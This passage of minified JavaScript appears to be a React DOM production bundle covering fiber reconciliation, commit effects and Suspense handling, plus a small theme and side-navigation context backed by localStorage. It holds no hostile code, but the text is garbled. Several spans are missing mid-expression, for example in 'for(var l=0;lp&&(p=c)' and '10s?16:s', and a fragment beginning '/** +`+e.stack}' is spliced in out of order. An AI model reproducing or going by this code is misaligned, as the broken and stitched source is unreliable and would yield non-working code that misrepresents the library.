fl=!1,ts=!1,WI=typeof WeakSet=="function"?WeakSet:Set,f=null;function Pa(s,a){var n=s.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(l){Q(s,a,l)}else n.current=null}function qe(s,a,n){try{n()}catch(l){Q(s,a,l)}}var ro=!1;function BI(s,a){if(Fe=Ol,s=Mr(),vc(s)){if("selectionStart"in s)var n={start:s.selectionStart,end:s.selectionEnd};else s:{n=(n=s.ownerDocument)&&n.defaultView||window;var l=n.getSelection&&n.getSelection();if(l&&l.rangeCount!==0){n=l.anchorNode;var p=l.anchorOffset,e=l.focusNode;l=l.focusOffset;try{n.nodeType,e.nodeType}catch{n=null;break s}var c=0,t=-1,o=-1,i=0,I=0,d=s,j=null;a:for(;;){for(var u;d!==n||p!==0&&d.nodeType!==3||(t=c+p),d!==e||l!==0&&d.nodeType!==3||(o=c+l),d.nodeType===3&&(c+=d.nodeValue.length),(u=d.firstChild)!==null;)j=d,d=u;for(;;){if(d===s)break a;if(j===n&&++i===p&&(t=c),j===e&&++I===l&&(o=c),(u=d.nextSibling)!==null)break;d=j,j=d.parentNode}d=u}n=t===-1||o===-1?null:{start:t,end:o}}else n=null}n=n||{start:0,end:0}}else n=null;for(Ke={focusedElem:s,selectionRange:n},Ol=!1,f=a;f!==null;)if(a=f,s=a.child,(a.subtreeFlags&1028)!==0&&s!==null)s.return=a,f=s;else for(;f!==null;){a=f;try{var m=a.alternate;if(a.flags&1024)switch(a.tag){case 0:case 11:case 15:break;case 1:if(m!==null){var b=m.memoizedProps,B=m.memoizedState,h=a.stateNode,g=h.getSnapshotBeforeUpdate(a.elementType===a.type?b:Rs(a.type,b),B);h.__reactInternalSnapshotBeforeUpdate=g}break;case 3:var C=a.stateNode.containerInfo;C.nodeType===1?C.textContent="":C.nodeType===9&&C.documentElement&&C.removeChild(C.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(w(163))}}catch(y){Q(a,a.return,y)}if(s=a.sibling,s!==null){s.return=a.return,f=s;break}f=a.return}return m=ro,ro=!1,m}function Mn(s,a,n){var l=a.updateQueue;if(l=l!==null?l.lastEffect:null,l!==null){var p=l=l.next;do{if((p.tag&s)===s){var e=p.destroy;p.destroy=void 0,e!==void 0&&qe(a,n,e)}p=p.next}while(p!==l)}}function Bp(s,a){if(a=a.updateQueue,a=a!==null?a.lastEffect:null,a!==null){var n=a=a.next;do{if((n.tag&s)===s){var l=n.create;n.destroy=l()}n=n.next}while(n!==a)}}function sc(s){var a=s.ref;if(a!==null){var n=s.stateNode;switch(s.tag){case 5:s=n;break;default:s=n}typeof a=="function"?a(s):a.current=s}}function Ni(s){var a=s.alternate;a!==null&&(s.alternate=null,Ni(a)),s.child=null,s.deletions=null,s.sibling=null,s.tag===5&&(a=s.stateNode,a!==null&&(delete a[Js],delete a[Pn],delete a[xe],delete a[oI],delete a[rI])),s.stateNode=null,s.return=null,s.dependencies=null,s.memoizedProps=null,s.memoizedState=null,s.pendingProps=null,s.stateNode=null,s.updateQueue=null}function Hi(s){return s.tag===5||s.tag===3||s.tag===4}function io(s){s:for(;;){for(;s.sibling===null;){if(s.return===null||Hi(s.return))return null;s=s.return}for(s.sibling.return=s.return,s=s.sibling;s.tag!==5&&s.tag!==6&&s.tag!==18;){if(s.flags&2||s.child===null||s.tag===4)continue s;s.child.return=s,s=s.child}if(!(s.flags&2))return s.stateNode}}function ac(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.nodeType===8?n.parentNode.insertBefore(s,a):n.insertBefore(s,a):(n.nodeType===8?(a=n.parentNode,a.insertBefore(s,n)):(a=n,a.appendChild(s)),n=n._reactRootContainer,n!=null||a.onclick!==null||(a.onclick=ql));else if(l!==4&&(s=s.child,s!==null))for(ac(s,a,n),s=s.sibling;s!==null;)ac(s,a,n),s=s.sibling}function nc(s,a,n){var l=s.tag;if(l===5||l===6)s=s.stateNode,a?n.insertBefore(s,a):n.appendChild(s);else if(l!==4&&(s=s.child,s!==null))for(nc(s,a,n),s=s.sibling;s!==null;)nc(s,a,n),s=s.sibling}var ns=null,Ns=!1;function aa(s,a,n){for(n=n.child;n!==null;)Fi(s,a,n),n=n.sibling}function Fi(s,a,n){if(zs&&typeof zs.onCommitFiberUnmount=="function")try{zs.onCommitFiberUnmount(up,n)}catch{}switch(n.tag){case 5:ts||Pa(n,a);case 6:var l=ns,p=Ns;ns=null,aa(s,a,n),ns=l,Ns=p,ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?s.parentNode.removeChild(n):s.removeChild(n)):ns.removeChild(n.stateNode));break;case 18:ns!==null&&(Ns?(s=ns,n=n.stateNode,s.nodeType===8?ne(s.parentNode,n):s.nodeType===1&&ne(s,n),Tn(s)):ne(ns,n.stateNode));break;case 4:l=ns,p=Ns,ns=n.stateNode.containerInfo,Ns=!0,aa(s,a,n),ns=l,Ns=p;break;case 0:case 11:case 14:case 15:if(!ts&&(l=n.updateQueue,l!==null&&(l=l.lastEffect,l!==null))){p=l=l.next;do{var e=p,c=e.destroy;e=e.tag,c!==void 0&&(e&2||e&4)&&qe(n,a,c),p=p.next}while(p!==l)}aa(s,a,n);break;case 1:if(!ts&&(Pa(n,a),l=n.stateNode,typeof l.componentWillUnmount=="function"))try{l.props=n.memoizedProps,l.state=n.memoizedState,l.componentWillUnmount()}catch(t){Q(n,a,t)}aa(s,a,n);break;case 21:aa(s,a,n);break;case 22:n.mode&1?(ts=(l=ts)||n.memoizedState!==null,aa(s,a,n),ts=l):aa(s,a,n);break;default:aa(s,a,n)}}function go(s){var a=s.updateQueue;if(a!==null){s.updateQueue=null;var n=s.stateNode;n===null&&(n=s.stateNode=new WI),a.forEach(function(l){var p=HI.bind(null,s,l);n.has(l)||(n.add(l),l.then(p,p))})}}function vs(s,a){var n=a.deletions;if(n!==null)for(var l=0;lp&&(p=c),l&=~e}if(l=p,l=U()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*fI(l/1960))-l,10s?16:s,ta===null)var l=!1;else{if(s=ta,ta=null,hp=0,H&6)throw Error(w(331));var p=H;for(H|=4,f=s.current;f!==null;){var e=f,c=e.child;if(f.flags&16){var t=e.deletions;if(t!==null){for(var o=0;oU()-$c?Va(s,0):Pc|=n),As(s,a)}function Ei(s,a){a===0&&(s.mode&1?(a=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):a=1);var n=is();s=$s(s,a),s!==null&&(tl(s,a,n),As(s,n))}function NI(s){var a=s.memoizedState,n=0;a!==null&&(n=a.retryLane),Ei(s,n)}function HI(s,a){var n=0;switch(s.tag){case 13:var l=s.stateNode,p=s.memoizedState;p!==null&&(n=p.retryLane);break;case 19:l=s.stateNode;break;default:throw Error(w(314))}l!==null&&l.delete(a),Ei(s,n)}var Qi;Qi=function(s,a,n){if(s!==null)if(s.memoizedProps!==a.pendingProps||Cs.current)ds=!0;else{if(!(s.lanes&n)&&!(a.flags&128))return ds=!1,wI(s,a,n);ds=!!(s.flags&131072)}else ds=!1,J&&a.flags&1048576&&Lr(a,lp,a.index);switch(a.lanes=0,a.tag){case 2:var l=a.type;Jl(s,a),s=a.pendingProps;var p=cn(a,os.current);ln(a,n),p=Qc(null,a,l,s,p,n);var e=Tc();return a.flags|=1,typeof p=="object"&&p!==null&&typeof p.render=="function"&&p.$$typeof===void 0?(a.tag=1,a.memoizedState=null,a.updateQueue=null,js(l)?(e=!0,ap(a)):e=!1,a.memoizedState=p.state!==null&&p.state!==void 0?p.state:null,xc(a),p.updater=Wp,a.stateNode=p,p._reactInternals=a,Te(a,l,s,n),a=Le(null,a,l,!0,e,n)):(a.tag=0,J&&e&&Rc(a),rs(null,a,p,n),a=a.child),a;case 16:l=a.elementType;s:{switch(Jl(s,a),s=a.pendingProps,p=l._init,l=p(l._payload),a.type=l,p=a.tag=KI(l),s=Rs(l,s),p){case 0:a=_e(null,a,l,s,n);break s;case 1:a=co(null,a,l,s,n);break s;case 11:a=po(null,a,l,s,n);break s;case 14:a=eo(null,a,l,Rs(l.type,s),n);break s}throw Error(w(306,l,""))}return a;case 0:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),_e(s,a,l,p,n);case 1:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),co(s,a,l,p,n);case 3:s:{if(fi(a),s===null)throw Error(w(387));l=a.pendingProps,e=a.memoizedState,p=e.element,ai(s,a),cp(a,l,null,n);var c=a.memoizedState;if(l=c.element,e.isDehydrated)if(e={element:l,isDehydrated:!1,cache:c.cache,pendingSuspenseBoundaries:c.pendingSuspenseBoundaries,transitions:c.transitions},a.updateQueue.baseState=e,a.memoizedState=e,a.flags&256){p=gn(Error(w(423)),a),a=to(s,a,l,n,p);break s}else if(l!==p){p=gn(Error(w(424)),a),a=to(s,a,l,n,p);break s}else for(ms=ha(a.stateNode.containerInfo.firstChild),bs=a,J=!0,Hs=null,n=qr(a,null,l,n),a.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(tn(),l===p){a=qs(s,a,n);break s}rs(s,a,l,n)}a=a.child}return a;case 5:return ni(a),s===null&&De(a),l=a.type,p=a.pendingProps,e=s!==null?s.memoizedProps:null,c=p.children,Me(l,p)?c=null:e!==null&&Me(l,e)&&(a.flags|=32),Gi(s,a),rs(s,a,c,n),a.child;case 6:return s===null&&De(a),null;case 13:return Vi(s,a,n);case 4:return Jc(a,a.stateNode.containerInfo),l=a.pendingProps,s===null?a.child=on(a,null,l,n):rs(s,a,l,n),a.child;case 11:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),po(s,a,l,p,n);case 7:return rs(s,a,a.pendingProps,n),a.child;case 8:return rs(s,a,a.pendingProps.children,n),a.child;case 12:return rs(s,a,a.pendingProps.children,n),a.child;case 10:s:{if(l=a.type._context,p=a.pendingProps,e=a.memoizedProps,c=p.value,K(pp,l._currentValue),l._currentValue=c,e!==null)if(Ms(e.value,c)){if(e.children===p.children&&!Cs.current){a=qs(s,a,n);break s}}else for(e=a.child,e!==null&&(e.return=a);e!==null;){var t=e.dependencies;if(t!==null){c=e.child;for(var o=t.firstContext;o!==null;){if(o.context===l){if(e.tag===1){o=Ls(-1,n&-n),o.tag=2;var i=e.updateQueue;if(i!==null){i=i.shared;var I=i.pending;I===null?o.next=o:(o.next=I.next,I.next=o),i.pending=o}}e.lanes|=n,o=e.alternate,o!==null&&(o.lanes|=n),Ee(e.return,n,a),t.lanes|=n;break}o=o.next}}else if(e.tag===10)c=e.type===a.type?null:e.child;else if(e.tag===18){if(c=e.return,c===null)throw Error(w(341));c.lanes|=n,t=c.alternate,t!==null&&(t.lanes|=n),Ee(c,n,a),c=e.sibling}else c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=Vs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=Rs(l,a.pendingProps),p=Rs(l.type,p),eo(s,a,l,p,n);case 15:return Wi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:Rs(l,p),Jl(s,a),a.tag=1,js(l)?(s=!0,ap(a)):s=!1,ln(a,n),wi(a,l,p),Te(a,l,p,n),Le(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Bi(s,a,n)}throw Error(w(156,a.tag))};function Ti(s,a){return yr(s,a)}function FI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new FI(s,a,n,l)}function nt(s){return s=s.prototype,!(!s||!s.isReactComponent)}function KI(s){if(typeof s=="function")return nt(s)?1:0;if(s!=null){if(s=s.$$typeof,s===bc)return 11;if(s===wc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function El(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")nt(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case mc:c=8,p|=8;break;case je:return s=Gs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case Ae:return s=Gs(13,n,a,p),s.elementType=Ae,s.lanes=e,s;case ue:return s=Gs(19,n,a,p),s.elementType=ue,s.lanes=e,s;case nr:return fp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case sr:c=10;break s;case ar:c=9;break s;case bc:c=11;break s;case wc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function fp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=nr,s.lanes=n,s.stateNode={isHidden:!1},s}function ie(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ge(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function MI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Qp(0),this.expirationTimes=Qp(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Qp(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function lt(s,a,n,l,p,e,c,t,o){return s=new MI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},xc(e),s}function SI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oi)}catch(s){console.error(s)}}Oi(),Oo.exports=ks;var EI=Oo.exports,Pi,$i,mo=EI;$i=mo.createRoot,Pi=mo.hydrateRoot;const qi={theme:"light",sideNav:!0,initialized:!1},sg=W.createContext({state:qi,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function tt(){return W.useContext(sg)}function bo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const wo=({children:s})=>{const[a,n]=W.useState(qi);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),bo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),bo("sideNav",t)}return r.jsx(sg.Provider,{value:W.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** +`+e.stack}return{value:s,source:a,stack:p,digest:null}}function oe(s,a,n){return{value:s,source:null,stack:n??null,digest:a??null}}function Ue(s,a){try{console.error(a.value)}catch(n){setTimeout(function(){throw n})}}var yI=typeof WeakMap=="function"?WeakMap:Map;function ki(s,a,n){n=_s(-1,n),n.tag=3,n.payload={element:null};var l=a.value;return n.callback=function(){gp||(gp=!0,lc=l),Ue(s,a)},n}function Zi(s,a,n){n=_s(-1,n),n.tag=3;var l=s.type.getDerivedStateFromError;if(typeof l=="function"){var p=a.value;n.payload=function(){return l(p)},n.callback=function(){Ue(s,a)}}var e=s.stateNode;return e!==null&&typeof e.componentDidCatch=="function"&&(n.callback=function(){Ue(s,a),typeof l!="function"&&(da===null?da=new Set([this]):da.add(this));var c=a.stack;this.componentDidCatch(a.value,{componentStack:c!==null?c:""})}),n}function ao(s,a,n){var l=s.pingCache;if(l===null){l=s.pingCache=new yI;var p=new Set;l.set(a,p)}else p=l.get(a),p===void 0&&(p=new Set,l.set(a,p));p.has(n)||(p.add(n),s=vI.bind(null,s,a,n),a.then(s,s))}function no(s){do{var a;if((a=s.tag===13)&&(a=s.memoizedState,a=a!==null?a.dehydrated!==null:!0),a)return s;s=s.return}while(s!==null);return null}function lo(s,a,n,l,p){return s.mode&1?(s.flags|=65536,s.lanes=p,s):(s===a?s.flags|=65536:(s.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(a=_s(-1,1),a.tag=2,Ia(n,a,1))),n.lanes|=1),s)}var mI=sa.ReactCurrentOwner,ds=!1;function rs(s,a,n,l){a.child=s===null?qr(a,null,n,l):on(a,s.child,n,l)}function po(s,a,n,l,p){n=n.render;var e=a.ref;return ln(a,p),l=Qc(s,a,n,l,e,p),n=Tc(),s!==null&&!ds?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,qs(s,a,p)):(J&&n&&vc(a),a.flags|=1,rs(s,a,l,p),a.child)}function eo(s,a,n,l,p){if(s===null){var e=n.type;return typeof e=="function"&&!nt(e)&&e.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(a.tag=15,a.type=e,Wi(s,a,e,l,p)):(s=El(n.type,null,l,a,a.mode,p),s.ref=a.ref,s.return=a,a.child=s)}if(e=s.child,!(s.lanes&p)){var c=e.memoizedProps;if(n=n.compare,n=n!==null?n:Ln,n(c,l)&&s.ref===a.ref)return qs(s,a,p)}return a.flags|=1,s=ja(e,l),s.ref=a.ref,s.return=a,a.child=s}function Wi(s,a,n,l,p){if(s!==null){var e=s.memoizedProps;if(Ln(e,l)&&s.ref===a.ref)if(ds=!1,a.pendingProps=l=e,(s.lanes&p)!==0)s.flags&131072&&(ds=!0);else return a.lanes=s.lanes,qs(s,a,p)}return Le(s,a,n,l,p)}function Gi(s,a,n){var l=a.pendingProps,p=l.children,e=s!==null?s.memoizedState:null;if(l.mode==="hidden")if(!(a.mode&1))a.memoizedState={baseLanes:0,cachePool:null,transitions:null},F($a,ys),ys|=n;else{if(!(n&1073741824))return s=e!==null?e.baseLanes|n:n,a.lanes=a.childLanes=1073741824,a.memoizedState={baseLanes:s,cachePool:null,transitions:null},a.updateQueue=null,F($a,ys),ys|=s,null;a.memoizedState={baseLanes:0,cachePool:null,transitions:null},l=e!==null?e.baseLanes:n,F($a,ys),ys|=l}else e!==null?(l=e.baseLanes|n,a.memoizedState=null):l=n,F($a,ys),ys|=l;return rs(s,a,p,n),a.child}function Bi(s,a){var n=a.ref;(s===null&&n!==null||s!==null&&s.ref!==n)&&(a.flags|=512,a.flags|=2097152)}function Le(s,a,n,l,p){var e=js(n)?Ra:os.current;return e=cn(a,e),ln(a,p),n=Qc(s,a,n,l,e,p),l=Tc(),s!==null&&!ds?(a.updateQueue=s.updateQueue,a.flags&=-2053,s.lanes&=~p,qs(s,a,p)):(J&&l&&vc(a),a.flags|=1,rs(s,a,n,p),a.child)}function co(s,a,n,l,p){if(js(n)){var e=!0;ap(a)}else e=!1;if(ln(a,p),a.stateNode===null)Jl(s,a),wi(a,n,l),Te(a,n,l,p),l=!0;else if(s===null){var c=a.stateNode,t=a.memoizedProps;c.props=t;var o=c.context,i=n.contextType;typeof i=="object"&&i!==null?i=Vs(i):(i=js(n)?Ra:os.current,i=cn(a,i));var I=n.getDerivedStateFromProps,d=typeof I=="function"||typeof c.getSnapshotBeforeUpdate=="function";d||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==l||o!==i)&&so(a,c,l,i),la=!1;var j=a.memoizedState;c.state=j,cp(a,l,c,p),o=a.memoizedState,t!==l||j!==o||Cs.current||la?(typeof I=="function"&&(Qe(a,n,I,l),o=a.memoizedState),(t=la||qt(a,n,t,l,j,o,i))?(d||typeof c.UNSAFE_componentWillMount!="function"&&typeof c.componentWillMount!="function"||(typeof c.componentWillMount=="function"&&c.componentWillMount(),typeof c.UNSAFE_componentWillMount=="function"&&c.UNSAFE_componentWillMount()),typeof c.componentDidMount=="function"&&(a.flags|=4194308)):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),a.memoizedProps=l,a.memoizedState=o),c.props=l,c.state=o,c.context=i,l=t):(typeof c.componentDidMount=="function"&&(a.flags|=4194308),l=!1)}else{c=a.stateNode,ai(s,a),t=a.memoizedProps,i=a.type===a.elementType?t:vs(a.type,t),c.props=i,d=a.pendingProps,j=c.context,o=n.contextType,typeof o=="object"&&o!==null?o=Vs(o):(o=js(n)?Ra:os.current,o=cn(a,o));var u=n.getDerivedStateFromProps;(I=typeof u=="function"||typeof c.getSnapshotBeforeUpdate=="function")||typeof c.UNSAFE_componentWillReceiveProps!="function"&&typeof c.componentWillReceiveProps!="function"||(t!==d||j!==o)&&so(a,c,l,o),la=!1,j=a.memoizedState,c.state=j,cp(a,l,c,p);var m=a.memoizedState;t!==d||j!==m||Cs.current||la?(typeof u=="function"&&(Qe(a,n,u,l),m=a.memoizedState),(i=la||qt(a,n,i,l,j,m,o)||!1)?(I||typeof c.UNSAFE_componentWillUpdate!="function"&&typeof c.componentWillUpdate!="function"||(typeof c.componentWillUpdate=="function"&&c.componentWillUpdate(l,m,o),typeof c.UNSAFE_componentWillUpdate=="function"&&c.UNSAFE_componentWillUpdate(l,m,o)),typeof c.componentDidUpdate=="function"&&(a.flags|=4),typeof c.getSnapshotBeforeUpdate=="function"&&(a.flags|=1024)):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),a.memoizedProps=l,a.memoizedState=m),c.props=l,c.state=m,c.context=o,l=i):(typeof c.componentDidUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=4),typeof c.getSnapshotBeforeUpdate!="function"||t===s.memoizedProps&&j===s.memoizedState||(a.flags|=1024),l=!1)}return _e(s,a,n,l,e,p)}function _e(s,a,n,l,p,e){Bi(s,a);var c=(a.flags&128)!==0;if(!l&&!c)return p&&Qt(a,n,!1),qs(s,a,e);l=a.stateNode,mI.current=a;var t=c&&typeof n.getDerivedStateFromError!="function"?null:l.render();return a.flags|=1,s!==null&&c?(a.child=on(a,s.child,null,e),a.child=on(a,null,t,e)):rs(s,a,t,e),a.memoizedState=l.state,p&&Qt(a,n,!0),a.child}function fi(s){var a=s.stateNode;a.pendingContext?Et(s,a.pendingContext,a.pendingContext!==a.context):a.context&&Et(s,a.context,!1),Jc(s,a.containerInfo)}function to(s,a,n,l,p){return tn(),Hc(p),a.flags|=256,rs(s,a,n,l),a.child}var Oe={dehydrated:null,treeContext:null,retryLane:0};function Pe(s){return{baseLanes:s,cachePool:null,transitions:null}}function Vi(s,a,n){var l=a.pendingProps,p=z.current,e=!1,c=(a.flags&128)!==0,t;if((t=c)||(t=s!==null&&s.memoizedState===null?!1:(p&2)!==0),t?(e=!0,a.flags&=-129):(s===null||s.memoizedState!==null)&&(p|=1),F(z,p&1),s===null)return De(a),s=a.memoizedState,s!==null&&(s=s.dehydrated,s!==null)?(a.mode&1?s.data==="$!"?a.lanes=8:a.lanes=1073741824:a.lanes=1,null):(c=l.children,s=l.fallback,e?(l=a.mode,e=a.child,c={mode:"hidden",children:c},!(l&1)&&e!==null?(e.childLanes=0,e.pendingProps=c):e=fp(c,l,0,null),s=Ya(s,l,n,null),e.return=a,s.return=a,e.sibling=s,a.child=e,a.child.memoizedState=Pe(n),a.memoizedState=Oe,s):_c(a,c));if(p=s.memoizedState,p!==null&&(t=p.dehydrated,t!==null))return bI(s,a,c,l,t,p,n);if(e){e=l.fallback,c=a.mode,p=s.child,t=p.sibling;var o={mode:"hidden",children:l.children};return!(c&1)&&a.child!==p?(l=a.child,l.childLanes=0,l.pendingProps=o,a.deletions=null):(l=ja(p,o),l.subtreeFlags=p.subtreeFlags&14680064),t!==null?e=ja(t,e):(e=Ya(e,c,n,null),e.flags|=2),e.return=a,l.return=a,l.sibling=e,a.child=l,l=e,e=a.child,c=s.child.memoizedState,c=c===null?Pe(n):{baseLanes:c.baseLanes|n,cachePool:null,transitions:c.transitions},e.memoizedState=c,e.childLanes=s.childLanes&~n,a.memoizedState=Oe,l}return e=s.child,s=e.sibling,l=ja(e,{mode:"visible",children:l.children}),!(a.mode&1)&&(l.lanes=n),l.return=a,l.sibling=null,s!==null&&(n=a.deletions,n===null?(a.deletions=[s],a.flags|=16):n.push(s)),a.child=l,a.memoizedState=null,l}function _c(s,a){return a=fp({mode:"visible",children:a},s.mode,0,null),a.return=s,s.child=a}function Bl(s,a,n,l){return l!==null&&Hc(l),on(a,s.child,null,n),s=_c(a,a.pendingProps.children),s.flags|=2,a.memoizedState=null,s}function bI(s,a,n,l,p,e,c){if(n)return a.flags&256?(a.flags&=-257,l=oe(Error(w(422))),Bl(s,a,c,l)):a.memoizedState!==null?(a.child=s.child,a.flags|=128,null):(e=l.fallback,p=a.mode,l=fp({mode:"visible",children:l.children},p,0,null),e=Ya(e,p,c,null),e.flags|=2,l.return=a,e.return=a,l.sibling=e,a.child=l,a.mode&1&&on(a,s.child,null,c),a.child.memoizedState=Pe(c),a.memoizedState=Oe,e);if(!(a.mode&1))return Bl(s,a,c,null);if(p.data==="$!"){if(l=p.nextSibling&&p.nextSibling.dataset,l)var t=l.dgst;return l=t,e=Error(w(419)),l=oe(e,l,void 0),Bl(s,a,c,l)}if(t=(c&s.childLanes)!==0,ds||t){if(l=ss,l!==null){switch(c&-c){case 4:p=2;break;case 16:p=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:p=32;break;case 536870912:p=268435456;break;default:p=0}p=p&(l.suspendedLanes|c)?0:p,p!==0&&p!==e.retryLane&&(e.retryLane=p,$s(s,p),Fs(l,s,p,-1))}return at(),l=oe(Error(w(421))),Bl(s,a,c,l)}return p.data==="$?"?(a.flags|=128,a.child=s.child,a=NI.bind(null,s),p._reactRetry=a,null):(s=e.treeContext,ms=ha(p.nextSibling),bs=a,J=!0,Hs=null,s!==null&&(Ws[Gs++]=Us,Ws[Gs++]=Ls,Ws[Gs++]=va,Us=s.id,Ls=s.overflow,va=a),a=_c(a,l.children),a.flags|=4096,a)}function oo(s,a,n){s.lanes|=a;var l=s.alternate;l!==null&&(l.lanes|=a),Ee(s.return,a,n)}function re(s,a,n,l,p){var e=s.memoizedState;e===null?s.memoizedState={isBackwards:a,rendering:null,renderingStartTime:0,last:l,tail:n,tailMode:p}:(e.isBackwards=a,e.rendering=null,e.renderingStartTime=0,e.last=l,e.tail=n,e.tailMode=p)}function Yi(s,a,n){var l=a.pendingProps,p=l.revealOrder,e=l.tail;if(rs(s,a,l.children,n),l=z.current,l&2)l=l&1|2,a.flags|=128;else{if(s!==null&&s.flags&128)s:for(s=a.child;s!==null;){if(s.tag===13)s.memoizedState!==null&&oo(s,n,a);else if(s.tag===19)oo(s,n,a);else if(s.child!==null){s.child.return=s,s=s.child;continue}if(s===a)break s;for(;s.sibling===null;){if(s.return===null||s.return===a)break s;s=s.return}s.sibling.return=s.return,s=s.sibling}l&=1}if(F(z,l),!(a.mode&1))a.memoizedState=null;else switch(p){case"forwards":for(n=a.child,p=null;n!==null;)s=n.alternate,s!==null&&tp(s)===null&&(p=n),n=n.sibling;n=p,n===null?(p=a.child,a.child=null):(p=n.sibling,n.sibling=null),re(a,!1,p,n,e);break;case"backwards":for(n=null,p=a.child,a.child=null;p!==null;){if(s=p.alternate,s!==null&&tp(s)===null){a.child=p;break}s=p.sibling,p.sibling=n,n=p,p=s}re(a,!0,n,null,e);break;case"together":re(a,!1,null,null,void 0);break;default:a.memoizedState=null}return a.child}function Jl(s,a){!(a.mode&1)&&s!==null&&(s.alternate=null,a.alternate=null,a.flags|=2)}function qs(s,a,n){if(s!==null&&(a.dependencies=s.dependencies),Ha|=a.lanes,!(n&a.childLanes))return null;if(s!==null&&a.child!==s.child)throw Error(w(153));if(a.child!==null){for(s=a.child,n=ja(s,s.pendingProps),a.child=n,n.return=a;s.sibling!==null;)s=s.sibling,n=n.sibling=ja(s,s.pendingProps),n.return=a;n.sibling=null}return a.child}function wI(s,a,n){switch(a.tag){case 3:fi(a),tn();break;case 5:ni(a);break;case 1:js(a.type)&&ap(a);break;case 4:Jc(a,a.stateNode.containerInfo);break;case 10:var l=a.type._context,p=a.memoizedProps.value;F(pp,l._currentValue),l._currentValue=p;break;case 13:if(l=a.memoizedState,l!==null)return 